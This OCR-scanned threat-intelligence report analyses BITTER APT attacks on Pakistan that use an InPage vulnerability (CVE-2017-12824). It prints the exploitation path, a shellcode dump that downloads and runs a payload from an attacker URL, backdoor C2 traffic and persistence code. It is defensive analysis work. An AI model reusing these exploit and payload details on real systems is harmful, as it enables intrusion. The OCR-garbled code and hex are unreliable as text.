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Overview

Recently, QiAnXin Threat Intelligence Center found a series of targeted attacks against Pakistan targets. Attacker
exploited one vulnerability (CVE-2017-12824) of InPage to craft bait documents (.inp). InPage is a word processing
software designed specifically for Urdu speakers (official language in Pakistan). In addition, Office documents with
CVE-2018-0798 vulnerability were also used in the attack. Kaspersky disclosed one target attack in which InPage

vulnerability was exploited in November 2016[6] . However, first attack by using such software vulnerability can be
traced back to June 2016[14].

Through the analysis of this group of documents with InPage vulnerabilities and related attack activities, we can
conclude that the attacker is BITTER APT organization disclosed by us in 2016 [5] . After further analysis, some
samples in the attack have strong connections with some APT groups, specifically Patchwork, Bahamut, and

Confucius. That shows more connections among those 4 APT groups from South Asian.

Timeline

QiAnXin Threat Intelligence Center sorts out the timeline of targeted attacks in which InPage vulnerability was

exploited in the past two years as following:
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2016 June, first wild sample with InPage.
Oday vulnerability was found

2016 November, Kaspersky disclosed one
targeted attack in which InPage vulnerability
(CVE-2017-12824) was used

2016 November, 360 disclosed BITTER
activities in China

2017 November, PaloAlto disclosed new
samples with InPage vulnerability, and
showed connections with PatchWork

2018 November, Microsoft disclosed new
attacks targeting Pakistan by using InPage.
vulnerability

2018 November, 360 Threat Intelligence
Center disclosed new attacks targeting
Pakistan by using InPage vulnerability, and
published correlation analysis report

InPage Vulnerability Analysis (CVE-2017-12824)

The scan result of documents with InPage vulnerability on VirusTotal:

Detection Details
AegisLab
lkarus
McAfee-GW-Edition
Sophos AV
Ad-Aware
Antiy-AVL
Avast

AVG

8 engines detected this file °

SHA-256 ecefel76e1ccf594b902ef1138f65365b92ec0bfc7aa4e138c9e40343113099
File size 137 MB
Lastanalysis  2018-11-0822:21:21 UTC

Behavior Community

A Hacktool Win32.CVE-2017-12824.3!c AlYac A Exploit.CVE-2017-12824

A Wormwin32Gamarue Kaspersky A HEURExploit Win32.CVE-2017-12824.2
A ArtemistTrojan Qihoo-360 A Win32/TrojanExploitadb

A Exp/201712824-A ZoneAlarm A HEUR:Exploit Win32.CVE-2017-12824.a
@ Cean AhnLabV3 @ Clean

@ clean Arcabit @ Clean

@ Clean Avast Mobile Security @ Clean

& Clean Avira @ Cean

InPage is a word processing software specially designed for Urdu speakers, and the vulnerability number involved in
the wild attack sample is CVE-2017-12824.

After the analysis of the vulnerability by QiAnXin Threat Intelligence Center, it was found that the vulnerability was

caused by the

fact that InPage word processing software did not check the data type (Type) to be processed when it is

Page 2 of 36



https://ti.qianxin.com /blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

processing document flow, which led to the out-of-bounds reading. Through carefully constructed InPage document,

arbitrary code could be triggered to execute.

We used InPage 2015 software environment to analyze the vulnerability in detail, and the process is as follows.

About InPage

rUI‘dll InPage i :E
Professionsl 2015

Inpage Is An Extremely Powerful Publishing Software That Handles Urdu, Arabic
Persian, English And Other Language With Level Of Ease And Harmony Never
Achieved Before. Built On A Robust Proprietary State-Of-The-Art Multilingual
Engine, Inpage Provides For Complete Flexibility For Utilization Of All These
Language, Whether They Are Used Separately, Side-By-Side Or Fully-Integrated
In Your Document.Based On The Universally Acclaimed Noorinastaliq Font,
Inpage Offer WYSIWYG Display Of Urdu In Nastalig Script. This Enables You
To Layout Your Documents Accurately, Aesthetically And In Double Quick
Time.Running Under MS Windows, Inpage Makes Publishing Not Only Easy

But Also Enjoyable!!l

Copyright @2015 www.itpcworld.com. All Rights Reserved.

InPage 2015

Cause of Vulnerability: Out-of-bound Read

The essence of the CVE-2017-12824 vulnerability is out-of-bound Read. The InPage word processor does not check
the data type to be processed while processing the InPage100 stream in the document, and the data type to be
processed is specified by a field in the InPage document. This allows an attacker to cause an InPage program to make

an out-of-bounds read error by setting a value outside the Type range.

The key data structures that trigger the vulnerability in document (.inp) are as follows. 0x7E and 0x72 represent a class

of type in the document stream to be processed. We mark 0x7E as Typel and 0x72 as Type2:

05 &0 3C 00 00 03 05 CO 03 00 00 04 05 CO 03 00

00 03 7E 40 SE 00 00 00 00 00 00 4% €E 50 €61 €7 ..
€5 20 41 72 €1 62 €9 €3 2Z0 44 €F €3 75 €D &5 EE e Arabic Documen

InPage processes a.inp file as follows:

InPage first calls Ole!The StgCreateDocfile function parses the entire.inp file and then calls Ole! COleStreamFile: :

OpenStream open InPage InPage100 data flow in the document:
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{8 |00 01 02 03 04 05 06 0T 08 09 0A OF OC 0D OE OF
00000ADON 00 00 02 00 01 00 00 00 00 G0 00 00 00 00 00 00
00000ALOK 00 00 OF 09 00 00 01 00 0B 09 00 00 02 00 O0F 09
00000AZOK 00 00 03 00 21 039 00 00 04 00 F4 10 00 00 05 00
00000A0K F4 10 00 00 06 00 28 11 00 00 00 00 00 00 00 00
00000A40K 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000ASO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
O0000ARO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FPictsl4balfa O000OATOR 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000ASOK 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000ASOK 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
O0000AMDN 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
O0000ABO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
O0000ACOR 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
O0O0OADOK 01 00 FF FF FF FF 00 00 DE 00 00 00 00 00 01 00
O0O0OAEON 04 00 02 00 02 00 03 00 00 00 60 00 01 00 00 00
AANANAFNH NN M 44 20 A0 AN N1 N1 QR NN FR 3F N9 N1 ad 29

v11 = stgCreateDocfile(&pwcsiame, @x4811812u, @, (22 + 2588));

*(a2 + 2588);
*(a2 + 312) = @;
al[55] = viz;

if ((vil <@ )

{
/13 = (V11 + 2988@) << 16;
sub_4C8A3@(8, 64, v13 | @x19@6, =1[52]);
LOBYTE(v33) = 8;
std::strstreambuf: :~strstreambuf(&v27);
v33 = -1
C0leStreamFile: :~COleStreamFile(&v21);

return vi3;

{
sub_4CBA3@(@, 64, 21887, =1[52]);
LOBYTE(v33) = @;
ristrstreambuf: iestrstreambuf(8v27);
/33 = -1;
CO0leStreamFile: :~COleStreamFile(&v21);
return 1376714752;

COlestreamFile::Seek(&v21, (*zl & @xFFFFFFF) != 65541 ? 288 : 212, @);

}
if ( 1*%(v3 + 2628) )

/6 = T(v3 + 2620);
if ( ve
{

)

v7 = sub_419698(vE);

sub_4511F@(v7, v3);
}

}

if ( !dword 654F34 )

{
v8 = COleStreamFile::Seek(&v21, @, 1u);
v9 = COleStreamFile::Seek(&v21, @, 2u);
CO0leStreamFile::Seek(&v21, v, @);

All the processing logic related to the InPage100 stream will be carried out in PraseInPage100_432750 function, and
the data in the stream will be read with the callback function InPage100Read_440EDO:

= &v28;
= v2[52];

voly

I._. = PraseInPagele® 432758(v3, v2, vl4, InPagel@@Read 448ED@, &.2—'),"
sub_ACEB@B();
if (w15 )
1
sub 4C8A3@(@, 64, V15 | (v26 »> 16 << 16), v2[52]);
LOBYTE(v33) = 1;
CArchive: :~CArchive(&v28); |
LOBYTE(v33) = @;
std:istrstreambuf: i~strstreambuf (&v27);
V33 = -13
CO0leStreamFile: :~C0leStreamFile(&v21);

The trigger vulnerability Type data, 0x7E and 0x72 mentioned earlier, is eventually processed by the function
sub_453590.The buf in the figure below reads the data containing Type by calling InPage100Read_440EDO:
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while ( 1 )
{
data = (buf + offset + 4);
if ( *data == v2 8% (!pfn_Unknow || !pfn_Unknow(buf + offset + 4, a2, 1)) )
break;

offset += sub 45359@((buf + offset + 4)); // CVE-2817-12824
if ( offset »= *buf )

return @;
pfn_Unknow = v12;

The vulnerability function sub_453590 will select the corresponding processing process according to Typel and Type2
(0x7E and 0x72 bytes). First, it reads the function pointer array according to Typel, then reads the function from the

function pointer array according to Type2, and finally calls the function to process data:

int _ cdecl sub_45359@8(_ intlé *al)

__intl6 type2; // ax

int typel; // edx

int *v3; // ecx

int {_ cdecl *ProcessData)(__intls *, DWORD, signed int); // ecx
int result; //f eax

type2 = *al;
typel = (*al »» 8);
v3 = dword_656A28[typel];
if ( v3 &% (ProcessData = v3[type2]) != @ ) // type2 must be 8-29, but here is @x72
result = ProcessData(al, @, 2} + 2; // 467538
// 455afa jmp rop
else
result = *({dword_656520[typel] + 2 * typel) + 2;
return result;

}

Let's look at the assignment and range of dword_656A28 in the figure above:

Directio Ty} Address Text

= r sub 453500415 mov  ecx, dword_555A25[2dk] here is write
B D.. r  sub 4535F0+15 mov_ecx, dword 656A28]edx

[ w  sub 4535A04D v dword 656A28[eax™4], ecx
5= D.. r sub 453700+18 mov  eax, dword 656A28[eo™4]
ED. r sb 453900447 mov e, dword_555A28[0r"4]
EDp. r =b 4580434 mov  eax, dword_555A28[ea"4]
EDp. r sb 453CM+IF mov  eax, dword_655A28[e0c=4]
Ep. r sb 45D90+30 mov  eax, dword_555A28[eac"4]
ED.. o sb 45F90+1C mov  edi, offsst dword 655423
EDp. r sb 45490453 mov e, dword_555A28[0r=4]

__cdecl sub 49E688(unsigned  int8 al, int a2)

3
+

= -

nt result; f/ eax

==

result = alj
dword 656A28[al] = al;
return result;

)

.data:@@656A28 ; int dword G56A28[128]
.data:@BE56A28 dword 656A28  dd ? ; DATA XREF: sub 453508+157r

Typel = ECX(0x1F8)>>2 = 0x7E(126), Type2 = EDI(0x72) :
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80453591 8B7424 B8 mov esi, -

00453595 aap2 xor edx,edx 07|

00453597 6628806 mov ax,word ptr ds:[esi] 00656E60 InPage 2 . B06SGEG6D

0045359R(  BADY mov dl1,ah 000001F8

0845359C| 81E2 FFO800a0 |and edx,OFF EBX 031E0508B

004535A2| C1EZ2 02 shl edx,2 ESP 0812D824

004535A5 8B8A 2B6A6500 (mov ecx,dword ptr ds:[edx+656A28] EBP 00000083

B04535A8|  85C9 test ecx.ecx i 8

004535aD|,. 74 20 je short InPage_2.004535CF

B04535aF 57 push edi

453580 8BF8 nov edi,eax EIP 008453588 InPage_2.004535B8

B04535B2 81E7 FFOBO000 |and edi,OFF C 0 ES 9023 320it O(FFFFFFFF)
8BOCBY mov ecx,dword ptr ds:[ecx+edish] InPage_2.00455AFA P 1 €5 8018 32bit O(FFFFFFFF)

004535B8| SF pop edi A 08 S5 0023 32bit O(FFFFFFFF)

004535BC|  B5C9 test ecx,ecx Z 0 DS 0023 32bit O(FFFFFFFF)

004535BE|, 7% OF je short InPage_2.0084535CF S 0 FS 0038 32bit 7FFDEBOB(FFF)

808553508 6f B2 push 2 T 8 GS 0000 HULL

00453502 6f 80 push @ [[]

004535Ch 56 push esi 0 0 LastErr ERROR_SUCCESS (00000000)

80453505 FFD1 ecx

00453507 83C4 BC add esp,oC EFL 00080286 (H0,M8,HE,A,N5,PE,GE,6)

004535CA|  83CO 02 add eax,2 STO enpty 0.8

004535CD|  SE pop esi ST1 empty 0.8

004535CE( C3 retn 512 empty 8.0

B04535CF 8B8A 208656500 |mow ecx,dword ptr ds:[edx+656520] ST3 empty 0.8

00453505 25 FFOBOBO0 and eax, OFF ST4 empty 0.0

804535DR| 3302 xor eml:,pdz ST5 empty 6.9

amsIsUE] SE .. Cho) G R $T6 empty 1.0008000000800000000

Find the assignment of dword_656A28[0x7E] through IDA Pro:

sub_4536808(126,
memset(dword 65
dword_G56ECC
dword 656EDS
result

fword G56EDS);

BEGB, @, sizeof(dword BS5GEGB));
sub 4B75A8;

sub 4675A8;

5ub_4535ﬁa{125u, dword 656E68)

dword _655ACA[8]
dword_655ACC
dword 655AD4
dword 655ADC
dword G655AE4

sub 45501@;

sub 455C48;

sub:455CAE;LdkE care of 656ed68
sub 455CC8;

sub_453948;

~ Ly

return resu

You can see that the actual size of the dword_656E60 array is 30 (0x1E) :

.data:@@656E60 ; unsigned int dword_656E6@[38]
.data:@@656E68 dword_GS6EGE dd ?
.data:@@E56E6

Since the size of Type2 in the vulnerability document is set to 0x72, EDI=0x72, but the InPage does not judge the size
of Type2 passed in, this will result in access to dword_656E60[0x72], and because 0x72>30(0x1E), an out-of-bounds

read error occurs.
The Exploitation

Since the attacker sets Type2 in the document to 0x72, after addressing calculation, the code at the function address
0x00455AFA will be accessed across the line:

oy U B LdSLEFT ERKUB_SULLEDS {BUMUBONY)
56

DONS35CH
L TnPage 7 OGRSSAFA EFL 80686206 (NO,NB,HE,A,NS,PE,GE ,G)

00453507  83CH OC STO enpty 0.8

DONSISCA|  8BCH B2 ST1 enpty 0.8

pOus35CD|  SE ST2 enpty 0.0

DOuS3SCE| €3 ST3 enpty 0.8

DOSISCF|  8BBA 20656500 |mov ecw,duword ptr ds:[edx+656526] STh enpty 8.8

00453505 25 FFOOOOO  |and eax,OFF STS enpty 6.8

00453500 38D2 xor edx,edx ST6 enpty 1.0000660000600006060

00u5350C|  SE pop esi ST7 empty 5669.2913385826764800

068453500 66 :8B1441 nov dx,word ptr ds:[ecx+eax=2] — 3218 ESPUD2Z

eCx-0O4S5AFA (InPage 2.004SSAFAY (S5 ) Gl 1000 Er 001000
FCUl 827F Prec NEAR,53 HMask 1111

A oo12081c SEEREEEEE

Address |Hex dump ASCIT
72 7E 90 90|90 90 83 C7 28 FF D7 27| BA 05 Bb 00| r~IS{S[ (52 ¥i- 00120820) 00000000
8C 05 80 06 8D 05 68 8F E5 AD BA VE|CA 61 88 7E|.%...% [T ~7.~ 00120824 00000002
7E A7 OF 0681 7E C4 FO 17 08 82 7E 1C 1F 81 08|~7./ 20. ™ 0012D828| 031E383F
03 7E 40 9E| 00 08 B0 08|00 4B A9 DB CO C4 17 08| "@ 8012D82C| BB45376E | RETURH to In
00 C4 80 1E 83 26 32 1E 63 06 B0 06 60 06 60 86| .7 00120830 031E383F
00 08 09 06 09 06 G0 06 60 06 60 86 60 80 80 686 00120834 900OOOES
90 06 00 06 60 06 60 06 60 B0 69 6O 69 60 60 66 0012D838| 00000024
031E38AF[ 00 00 00 B0/ 60 00 OO 06/ 00 B0 6O 00 00 06 0O B0] ... .. .......... 8012D83C| 06890000
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You can see that dword_656E60[0x72] (0x455AFA) is just a pop retn instruction:

B8455AF 8 68 BOSB4L00 push InPage_2.080455B08

BB455AF5 EE 4B1BBBAA InPage_2.0684D7630
59 pop ecx
BB455AFE c3 retn

The pop retn instruction sequence plays a role as "jump" address, when performing Type related processing function,
due to the incoming parameters (pointer: 0 x031e383f) pointing to a data InPage document flow, an attacker can fill the
controllable data flow with ShellCode, so after the pop retn instructions will be returned directly to the attacker set
ShellCode executed:

[€] File View Debug Plugins Options Window Help Tools BreakPoint-»

Pauzed |El«|ﬁ P|||| bl +: ﬂﬂﬁ ﬂ HHM|T|W|H|QI|K|ER &o¢ﬂ
(0390383F EEIEL jb short B39D38BF

83903841 98 nop

83903842 o8 nop

83903843 98 nop

B39D3844| | 98 nop

83903845 83CT 28 add edi,28

83903848 FFD7 edi

839D384A 27 daa

839D384B BABS B4BBBCAS |or al,byte ptr ds:[5BCAAAL4]

83903851 aeeg add byte ptr ds:[eax],al

83903853 8D AS@08FES or eax,E58F@085

83903858 AD lods dword ptr ds:[esi]

83903859 BA YECAB108 mov edx,1CAYE

B39D385E|,| FE TE jle short B839D38DE

839D3868) | A7 cmps dword ptr ds:[esi],dword ptr es:[e
83903861 BF 8881 51dt word ptr ds:[ecx]

83903864 (" 7E C4 jle short 839D382A

However, the InPage program does not turn on DEP and ASLR protection, which results in ShellCode being directly

executed:

Analysis of Four Types of Attack Framework Using InPage Vulnerability

QiAnXin Threat Intelligence Center conducted analysis on the samples with InPage vulnerabilities in Pakistan, found
that a number of samples generated time, size, initial ShellCode InPage100 document flow and related flow label all

consistent. We can confirm that those samples come from same source.
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o j InPage100 (4392 bytes )

|| Documentinfo (1316 bytes )

‘.|| PPicts14baD63 (1069 bytes )

v Misc |

CLSID 00000000-0000-000 The InPage188 stream size in all samples of

CreationDate 01401401 08:00 this type is 4392 bytes, and the latest

IsRoot True modification time is 12/17/709 89:47.

lsStorage False

|zStream False

[ModfyDate __12/17/08 09:47]

MName Root Entry
| Size 2432
00000820 49 00 00 00 AT
00000330 36 39 00 90 *PPicts14bal69. .|
00000840 20 BA 4C 75 .. --C(W3APd. °Ln
00000850 C7 04 3B 17 Nd3¥%:;-t.GEu-C.:.
00000360 24 0C 33 CO t.Gei.C.WA Ts.3R
00000870 30 SEaT=L iy :
00000880 90 90 90 90 - cnellcodes o
00000850 e e Tisile (S VS
000003A0 90 90 90 90 uiesicenaneeanan
00000880 shellcodel §, ..
000003C0 EE A SR A__
00000300 27 ok 05 oo CFx".
000003ED TE CR 01 00/ ..8 °.E
000008F0 0 2 7E 1C 1F 0 R - S 1 P
00000900 0 03 40 ! 0 0 0 49 &6E 30 61 &7 vl L InPag
00000910 65 20 41 72 61 62 &9 63 20 44 &F &3 75 6D &5 &E e Rrabic Docullen
00000920 74 01 00 02 00 00 00 00 00 FF FF FF FF FF FF FF  Tuuvaeou.. FETTEVY

Through the analysis of this batch of InPage vulnerability utilization documents and relevant malicious code, we found
that the malicious code carried by the vulnerability documents used four different types of attack frameworks: four

types of completely different backdoor programs. The analysis is as follows.

WSCSPL:Full - featured Backdoor

A decoy document captured by QiAnXin Threat Intelligence Center is called "SOP for Retrieval of Mobile Data
Records. Inp" (SOP for Mobile Data Records Retrieval). Cve-2017-12824 vulnerability utilization document will

eventually download and execute a full-featured back door program named WSCSPL.

Relevant vulnerability utilization document information is as follows:

MD5 863f2bfed6e8e1b8b4516e328c8bad1b

The file name For Retrieval of Mobile Data Records, SOP for Retrieval of Mobile Data Records. Inp

ShellCode

After the bug is successfully triggered, ShellCode will locate the main function ShellCode by searching the special
logo "27862786". Then it will download Payload from khurram.com.pk/js/drv and save it to c:\conf\ smss.exe for

execution:
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FF FF ERggcyici:-aciagchapciipgci-gels 90 90 BS 30 00 00 FafZ TE62TE 6 Rl
<

00 90 &4 8B 3% 8B 7F OC 8B TF 1C BB SF 08 8B 77 cede B, LW
20 8B 3F 80 7E OC 33 75 F2 85 DF 03 7B 3C 8B 57 ¢ ?2€~.3udkE . {<<W
78 01 DA 8B 7A 20 01 DF 89 C9 8B 34 8F 01 DE 41 =x.U«z .B%E<4..FA
81 3E 47 6> 74 50 75 F2 81 TE 08 b4 64 T2 65 TS5 .>GetPud.~.ddren
ES 8B TA 24 01 DF €6 BB OC 4F 8B T7A 1C 01 DF 8B g¢zf . BE¢ . Ouz. . Be

7C 8F FC 01 DF 31 CO E8 11 00 00 DO 43 72 65 kBl | .i.81A&....Crea
74 65 44 69 72 €5 €3 T4 €F T2 79 41 00 53 FF D7 teDirectoryh.S5ix
64 00 E8 08 00 00 00 43 3A 5C 43 &F 6E 66 00 FF | j.e....C:\Conf.¥
DO 31 C% 51 E8 OD 00 00 00 4C &F &l 64 4C 635 B2 D1EQe. .. .LoadLib
72 61 72 T9 41 00 53 FF D7 83 C4 OC 5% E8 OB 00 raryh.Sy=fA.¥é..
00 00 75 T2 6C 6D 6F 6E 2E &4 6C &C 00 FF DD B3 LLurlmon.dll. ¥Bf
C4 10 E8 13 00 00 00 55 52 4C 44 &F 77 6E &C &F ||A.&....URLDownlo
61 64 54 6F 46 €9 6C &5 41 00 50 FF D7 31 C% 51 adToFiled.Py=1EQ
51 E8 0D 00 00 00 43 3A 5C 43 &F BE 66 5C 73 6D ||Re....C:\Conf\smn)
73 73 00 E8 1D 00 OO0 00 68 T4 74 TO 3R 2ZF 2ZF 6B s3.&....http:/ /K

68 75 72 72 61 6D 2E &3 6F &D 2E 70 6B 2F 6A 73 ||hurram.com.pk/js
2F &4 72 76 00 51 FF DO 31 CO E2 QR 00 00 00 4D |/drv.Qi¥Blds....M
6F 76 65 46 6% &C 65 41 00 53 FF DT E8 11 00 00 oveFileh.S5¥=&...
00 43 3& 5C 43 ©F 6E 66 2C 73 6D 73 73 €3 63 &3 LC:\Conf\smsscco
63 00 BA D1 SA 87 SA FT7 D2 8B 34 24 89 56 OC E8 c. °N3F3-0045%V.e

oD 00 00 00 43 3L 5C 43 &F 6E &6 5C 73 6D 73 73 ....C:\Conf\smss
00 FF DO 31 CO E8 OD 00 00 00 4C &6F &1 64 4C &9 .9DP1Aé....LoadLi
€2 72 61 T2 79 41 00 53 FF DT EE OC 00 00 00 53 braryh.S5iyxé....5
68 &5 6C 6C 33 32 2E 64 &C &C 00 FF DO E8 OE 00 R
00 00 53 68 65 6C &C 45 78 &5 &3 75 74 &5 41 00 |..She11ExecuteA]
S0 FF D7 31 €8 51 51 ES 11 00 00 00 43 3& 5C 43  PByx1EQQe....C:\C
6F GE 66 5C 73 6D 73 73 63 63 63 63 00 BA D1 92 onfl\smsscccc. N3
87 9A F7 D2 8B 34 24 89 56 OC E8 14 00 00 00 43 #3=0¢45%V.&....C
3L 5C 57 69 6E 64 &F 77 73 5C €5 T8 70 &C &F 72  :\Windows\explor
65 72 00 E8 05 00 00 00 &F 70 &5 6E 00 51 FF DO er.é&....open.Qib
Downloader

MD5 c3f5add704f2c540f3dd345f853e2d84

Compile

] 2018.9.24

time

C: \ Users \ Asterix \ Documents \ 28 novdwn VisualStudio2008 \ Projects \ \ Release \ 28 novdwn

PDB path
PDB

The downloaded EXE file is mainly used to communicate with C2 and obtain the executables of other modules. After
execution, the registry key value (key: HKCU\Environment, key value: Appld, data: c:\ Intel \drvhost. EXE) will be set

first.

RegOpenkeyExA(HKEY CURRENT_USER, “Environment™, @, @xF@@3Fu, &phkResult);
result = RegQueryValueExA(phkResult, "AppId”, @, @, @, 8);
if ( result
1
RegOpenkeyExA{phkResult, "AppId", @, @xFO@83Fu, &hkey);
RegSetValueExA(phkResult, “AppId™, @, lu, al, strlen({const char *)al)};
RegClosekKey({phkResult};
result = RegCloseKey(hKey);
1

return result;

Persistence is achieved by adding itself to the registry bootstrap:
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gmemcpy (&/alueName, lpThreadParameter, @x584u);
RegOpenKeyExA(HKEY CURRENT_USER, &Subkey, @, @xF@®3Fu, &phkResult);
if ( RegQueryValueExA(phkResult, &valueName, @, @, @, 8) )

RegOpenKeyExA(phkResult, &valueName, @, @xFO@3Fu, &hkey);
RegSetValueExA(phkResult, &valueName, @, lu, &Data, strlen{&Data}};// L=l =Flin]
RegCloseKey(phkResult);

RegClosekey(hkey)s

}

return @;

And determine whether the current process path is c:\ Intel \drvhost. Exe, if not, copy itself to the path and execute:

if ( RegQueryValueExA(phkResult, ::Parameter, @, @, @, @) )

RegCloseKey(phkResult);
CreateThread(@, @, sub 484208, ::Parameter, @, Sdword 487C4C);

3 = 114;
4 = 115;
5 la4;
113;
-1;
= Bj
++w3a;
while ( *(&v113 + v3g) != -1 };
v31 = sub 4B1EBB(v38);
v32 = {char *)(&v191 - v31);
do
{
v33 = ¥v31;
31[(_DWORD)w32] = *v31;

while { v33 );
v34 = (char *)&198 + 3;
do
V35 = (v34+)[1];
while { v35 );
Sleep(@x2716u);
ShellExecuteA(®, "open”, File, @, @, @);
Sleep(@x2716u);
exit(@);

When the process path meets the conditions, the machine GUID, computer user name and other information obtained

from the registry are encrypted and concatenated into a string:

if ( !P;EgOpénKayExA(HKEY_LOCAL_MACHIMEJ &subkey, @, @x101lu, &phkResult) )// machineid
{

v8 = RegQueryValueExA(phkResult, &alueName, @, @, &Data, &chData);
if ( tvd )
{

do

v3 = *(&Data + v8)
byte_488268[v3++]

B
= v
while ( v );
1
RegCloseKey(phkResult);
i
for { k = byte_488268; *k; ++¥k++ )

H

result = Encode_482438(byte_483268);

Then send the constructed string to communicate with C2:nethosttalk.com and get the command to execute again:
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GET /ourtyaz/quwe.php?TIe=871d52f4.1f84.5f67.c88d.e2b8g2de5d3*X]10.6%3aJUNBT2I5R HTTP/1.1
Host: nethosttalk.com
Connection: close

HTTP/1.1 268 OK

X-Powered-By: PHP/5.6.36

Content-Type: text/html; charset=UTF-8
Content-Length: 28

Date: Thu, 22 Nov 2818 @9:39:28 GMT
Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

AXE: ##
SIZE: #4096#SRE: ##

In this case, the C2 server returns an AXE:# instruction. The native program determines whether the instruction is an
AXE:# or an AXE.

if ( strstr(&Str, &SubStr) )

1
vS6 = (char *)malloc(@x4686u);
vwS7 = strstr(&str, "AXE: #");
if ( vs7 )
1

w56 = strchr{vs7, 35} + 1;
for { kk = @8; ; +kk )

i
w59 = vse[kk];
if { w59 == "#" || w59 = "." )
break;
b

If "AXE:#" is followed by the string content, the plug-in is downloaded and executed

while ( w49 };
gmemcpy (w48, w16, w47};

v58 = fopen(&Filename, "wb™);
buf = @;

memset (&v156, @, @xF79u);
while ( 1 )

1

v5l = recv(s, &buf, 3962, 8);
if ( vSl <=8 )

break;
fwrite(&buf, lu, w51, v5@);

b
if ( SheilExecutEA(@, &0peration, &File, @, @, 8) > 32 )
1

75 = @

v76 = B3

while ( *(&v88 + v75) != -1 )

In the process of debugging and analysis by QiAnXin Threat Intelligence Center analysts, we successfully obtained an
executable plug-in named "WSCSPL" :
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GET /ourtyaz/qwe.php?TIe=871d52f4.1f84.5f67.c88d.e2b8g2de5d3*X]10.6%3aJUNBT2I5R HTTP/1.1
Host: nethosttalk.com
Connection: close

HTTP/1.1 208 OK

X-Powered-By: PHP/5.6.36
Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Thu, 22 Nov 2018 89:39:80 GMT
Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

AXE:| #wscspl#

SIZE: i

Backdoor - WSCSPL

MD5 1c2a3aa370660b3ac2bf0f41c342373b
Compile time 2018.9.13
Original file name Exe winsvc.

This Trojan has same functionality as the Trojan used by Patchwork APT group disclosed by us in 2016[5]. The Trojan
supports 17 commands, including uploading a list of hard disk, finding, reading, creating a specified file, enumerating

a list of processes, and ending a specified process. Trojan function analysis is as follows:

Set two 10-second interval timers after the Trojan program runs:

L
ShowkWindow(result, @);
UpdateWindow(v2};

SetTimer(v2, @xfu, @x2716u, TimerFunc); |
SetTimer(v2, @x14u, @x2718u, connect_71618);
result = 1;

o Timer 1: request the IP of C&C:wcnchost.ddns.net. If the request is successful, save the IP to the global variable

and set the id variable to 1.
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WSAStartup(2u, &WSAData);
ppResult = @;
pHints.ai_flags = @;
pHints.ai_addrlen = 8;
pHints.ai_cancnname = @;
pHints.ai_addr = @;
pHints.ai_next = @;
pHints.ai_family = @;
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;
if ( !getaddrinfo(&pNodeName, @, &pHints, &ppResult) )
1

vd = ppResult;
if ( ppResult )
i

inet_ntoa(*&v4-rai_addr-rsa_data[2]);
s

v7 = *vS;
bt = FuSt;

}

while ( v7 };

vi = vi-ral_next;

byte_CEABE = 1; // if getip successful,set the var 1

b
while ( v4 };
v4 = ppResult;

}
freeaddrinfo(v4);
}
b

¢ Timer 2: check the value of the identifying variable, if 1, try to connect C&C:

woid _ stdcall connect_7161@(HWND al, UINT a2, UINT a3, DWORD ad4)

1
struct sockaddr name; // [esp+@h] [ebp-14h]
if (oyte ceaco]-- 1)
1
dword CE3F4 = inet_addr{cp);
name.sa_family = 2;
*&name.sa_data[2] = dword_CE3F4;
*name.sa_data = htons(@8x1B67u);
if (s}
{
if { connect(s, &name, 16) == -1 )
WSAGetLastError();
}
h
¥

Then create two threads:

if ( result )
hInstance = @3

dword_CEASC = CreateThread(®, 8, StartAddress, &hInstance, @, 8);
dword_CES@C = CreateThread(e, @, Check_and_Send_?lSE@, &hInstance, @, @);

e Thread 1: detects the connection status with C&C and receives the C&C command executable if the connection

is successful
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while (1)

NumberOfBytesRecvd = @;
GetSystemTime (&SystemTime);
WsAWaitForMultipleEvents(lu, &hEventObject, @, @xFFFFFFFF, @);
if ( WSAEnumNetworkEvents(s, hEventObject, BNetworkEvents) == -1}
WSAGetLastError();
vl = MNetworkEvents.lNetworkEvents;
if ( MetworkEvents.lNetworkEvents & @x1@ &% !NetworkEvents.iErrorCode[4] )
byte_7684D = 1;
if ( MetworkEvents.lNetworkEvents & @x2@ )
1
closesocket(s);
WsACloseEvent (hEventObject);
WSACleanup();
Sleep(@x1388u);
sub_7143@();
vl = NetworkEvents.lNetworkEvents;

if ( vl & 1 &R !NetworkEvents.iErrorCode[@] )

if { WSARecv(s, &Buffers, lu, &NumberOfBytesRecwd, &Flags, @, 8) == -1 )
WSAGetLastError();

v2 = NumberOfBytesRecvd;

Src = Buffers.buf;

v3 = dword_CE63@ + NumberOfBytesRecvd;

if { dword_CEG3@ 4+ NumberOfBytesRecvd » dword_CE634 )

if (w3 <= 2 * dword CEG34 )
vi = 2 * dword_CEG34;

dword_CE634 = v3;

v4 = operator new[](v3);

vs = Dst;

vE = wvidj

memcpy (w4, Dst, dword_CE63@);

operator delete(vs);

Dst = vij

v7 = dword_CEG38;
memcpy (Dst + dword_CEG3@, Src, v2);
dword_CEG38 = v2 4+ v7;
if ( sub_72C3@() )
sub_71C4a(); I WiTecw s

o Thread 2: checks whether the global variable dword_C9618 has data, and if so, sends the data to C&C
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vl = @;
V=8
while

1

(1)

Sleep(@xAu);

V2 4= 183
if (w2

= Se
(v3)

if (3
i

»= 1808 )

dword_C9618 )

== Bx2733 )

dword_C9618 -= v4;
memcpy (&unk_C6F@3, &unk_CeF@3 + w4, dword_C9618);

1
}
elsze

{

dword_C9613 = @;

b
b

else

{

a;
G-

i

= @

Bora =
|

=

i

if (vl > ex3C )

Send_7192@8(dword_C9618, &4, &unk C6F@8);

{ !dword_CEA98 && !dword CEASC )

Send_71928(5u, &4, Edword_CBD38);

The command execution code snippet is as follows:

switch ( v& )
1
case 38e8:
dword_76098
dword CEA9S

dword CEAB4 =

break;

case 3@8l:
dword_76898
dword_CEAS3

dword_CEABE =

break;

case 3882:
dword 76898
dword CEAS3
dword_CEAGC
break;

